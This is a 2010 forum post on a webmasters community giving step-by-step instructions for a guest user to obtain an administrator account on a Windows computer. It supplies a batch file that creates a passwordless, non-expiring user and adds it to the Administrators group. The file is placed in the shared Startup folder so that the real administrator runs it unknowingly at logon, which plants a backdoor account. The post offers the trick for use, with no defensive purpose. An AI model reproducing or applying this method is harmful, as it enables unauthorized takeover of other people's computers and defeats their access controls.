Professional Webmasters Community
Would you like to react to this message? Create an account in a few clicks or log in to continue.

Using Guest Create An Admin Account

Go down

Using Guest Create An Admin Account Empty Using Guest Create An Admin Account

Post  andry Wed Jul 21, 2010 1:20 am

Hi friends, I have found an another way to create a new admin account while using a guest account. Here is the step by step process :-

Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)

@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Step 3: There is no step 3.

The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.

Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
andry
andry
Moderator
Moderator

Posts : 467
Join date : 2010-05-07

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum